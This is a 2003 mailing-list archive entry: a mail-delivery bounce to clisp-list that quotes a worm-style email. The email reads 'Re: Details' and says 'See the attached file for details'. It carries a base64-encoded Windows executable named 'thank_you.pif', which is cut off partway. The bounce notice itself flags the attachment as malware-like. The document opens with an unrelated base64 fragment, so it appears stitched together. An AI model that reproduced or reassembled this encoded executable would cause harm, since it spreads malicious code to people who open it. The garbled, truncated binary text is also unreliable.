O+vT8GOn1R3hjCStALsnj8UvrXn5AHdZuFUvKZ5bc5lFpLiwTN7WB2I0goHVx4ALAQcdJBVAVWls VPdd/d0txuf3tNVZRpA55EPwVxIDslBElFAhDMVChopTJSzp08Fz2NbSVqFiMAJ2KKPSteQT1FEL MhsGz2eFpVVvFoqbudn/W6mRLeqDaXNhdUfOCdFN6Wxiod3VTia4402aE9F9S/oZfX++q8+LSW3/ 9q3QKaEZ/Ot5iTiBDyiEveovrBD6lCTq8cBFEEn7D3U1IreiIk+bA3wa1i/uNi0jAdNGz/DXMLcQ 1YHBx2eG4/5n3FBbzNKCeQVuz0H38L/eRxjlEOmKe3LMIAAcH3oKd93t2Exdk5abliOK6TKREOPo ZcE5bJ6tJGAJMKyxuOqEZKPSvZGn7eeO6CPBJCTZruQGtZpClKPn5USRrfn0O1wps6JdX7dX9VVH qds/H/GAsAk0iNrnamkXKTlKw6aKOKm4ZZjaBQjY0jHResS5XNDQNiahV0So93JoQo2n/Tu6azR7 PycL31rVC5altYOWYFLRPl86xejlj4BV1IF4eJ7/4nkRAecPHMIFcYDdsKcqTYuPFyqsbQ15z8q0 9QfGTFwzmf7nJpiaq9o2WXpgdE7vAMajX+YiYt/hK5qxobjThPlE4snnyUUhAVGiErKur/qi4eX3 j0AuU2FcuKppETvVpOypbij9QdMW4Z97bHlt7EdqXT5yoOCtlYEVvcrvPvpgaw9Xr928LwQbAt5P k9fiFMtq4RfGi8vCEHDbJyiq68zuw4fAr9HSDZKIBR8yS2ZbhwI3E1iQxtMVLY8KF9tedFTXBzfQ XI/yDmIqgldscYqMAl3SzjnOgO0wFpbDRGQ3lHf5Gaa7mvX1MoCiEtSptTbkAI4KqlsTuMibXzbj XiTmiajorZ9tawAM2KgHTHG4tZ9C0v4YPKmvIvOLdm2HBsWuzbCJS9O33rwMBPaPvXJwus1p6tNi VT2In1/QqqXX+JerRurovwq79OGErdtebqXN4mcpsg7feuPl8ThoxKOMm18lWK936lNlMNnAl1MA X6sIUvOjWcNQYQrcL74PjdH1hha7UAdZ7gS+sjmDB80TMMpYGuJBKaMzo5KZ2/2hhJEPmgVTscU5 MiErqlwSLBOih3hUMHI1gNEvhWN3ixeJzkrOtcrVTijVpFv37Rw5N0NaCXhY/eN8SKRr2gEe8rul O+Dupab0kD/2mtR8KkCoCW31gijo9h+I6wGlnbrGsCEFlTfbEBGBzB18uIXfHs7HsefAWP/ra0d0 SOsqK+lM1sn9N+bQpQrT9AhCKaNtzj6fV+LdeKwkFUld6pQKZbB2mhdguNBTfVlLb0TDH32aUdQm lBIwp47yLBfxkJMl1WbiQ1qfxkYezCPJFLLL6AIyKQFqJ3Ts From MAILER-DAEMON Tue Aug 19 07:51:11 2003 Received: from mail by sc8-sf-list1.sourceforge.net with local (Exim 3.31-VA-mm2 #1 (Debian)) id 19p7pH-0007ab-00 for ; Tue, 19 Aug 2003 07:51:11 -0700 X-Failed-Recipients: message filter, clisp-list@sourceforge.net From: Mail Delivery System To: clisp-list@sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 07:52:02 2003 X-Original-Date: Tue, 19 Aug 2003 07:51:11 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded clisp-list@sourceforge.net This message has been rejected because it has a potentially executable attachment "thank_you.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 103999 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from b2.ovh.net ([213.186.33.52] helo=redirect.ovh.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19p7gB-00062y-00 for ; Tue, 19 Aug 2003 07:41:48 -0700 Received: by redirect.ovh.net (Postfix, from userid 500) id AF80E3B6E8; Tue, 19 Aug 2003 16:41:26 +0200 (CEST) From: ORT@redirect.ovh.net (Ovh Redirect Technology) To: clisp-list@sourceforge.net Subject: failure notice Message-Id: <20030819144126.AF80E3B6E8@redirect.ovh.net> Date: Tue, 19 Aug 2003 16:41:26 +0200 (CEST) Hi, This is an ORT (Ovh Redirect Technology) SMTP server. >> ORT did not find out any redirect email --- Below this line is a copy of the message. Received: by ORT (Ovh Redirect Technology) ver:0.99 < clisp-list@sf.net > javassh@france-mail.com >> NONE (no found) Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by redirect.ovh.net (Postfix) with ESMTP id 46DB03B6F9 for ; Tue, 19 Aug 2003 16:41:05 +0200 (CEST) From: To: Subject: Re: Details Date: Tue, 19 Aug 2003 10:41:16 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_01A55A28" Message-Id: <20030819144105.46DB03B6F9@redirect.ovh.net> This is a multipart message in MIME format --_NextPart_000_01A55A28 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_01A55A28 Content-Type: application/octet-stream; name="thank_you.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="thank_you.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 